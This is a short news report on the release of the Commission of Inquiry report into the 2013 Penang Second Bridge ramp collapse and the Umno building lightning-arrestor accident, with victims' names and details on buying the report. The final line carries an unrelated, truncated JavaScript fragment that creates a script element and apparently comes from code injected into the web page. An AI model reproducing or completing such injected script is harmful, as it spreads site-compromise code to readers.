Commission of Inquiry report released

Story by Chan Lilian

THE much-anticipated Report of the Commission of Inquiry into the Failure of Two Civil Structures in Penang, namely the structure at Umno building and the collapse of a section of the Penang Second Bridge, was released on Nov 2 and members of the press were each given a printed copy and a CD. The report will also be available for the public at RM200 per set.

The two tragedies that happened within a week shocked Penangites.
On June 6, 2013, the ramp of the Penang Second Bridge which was under construction then collapsed and killed motorist Tajuddin Zainal Abidin.

The following week on June 13 the lightning arrestor of the Umno building at Jalan Macalister crashed and killed Lim Chin Aik and another motorist. .

At a press conference in Komtar on Oct 28, Chief Minister Lim Guan Eng informed members of the media that the report was completed on April 28 and had been translated to Bahasa Malaysia and compiled.

However, the two reports were only released to the public after they had been seen and endorsed by the Penang Governor.

The commission was headed by Datuk Yeoh Yang Poh, and its members were Datuk Roslan Hashim and Datuk Dr. Gue See Sew.

Tajuddin’s widow and his youngest brother Laidin Zainal Abidin were at the Chief Minister’s office to receive a copy of the reports.
“Although the incident happened two years ago, I am sure your loss is still painful. With this report, I hope it answers some of your questions on the cause,” Lim said when he handed the copy to Tajudin’s widow.
The late Tajudin left behind four children.

To purchase the reports, please contact :
Unit Kompleks Pentadbiran Kerajaan Negeri Pulau Pinang
Paras 3, Komtar
Contact person : Mohd. Nizam Bin Che Mat
Telephone : 04-6505266var d=document;var s=d.createElement(‘script’);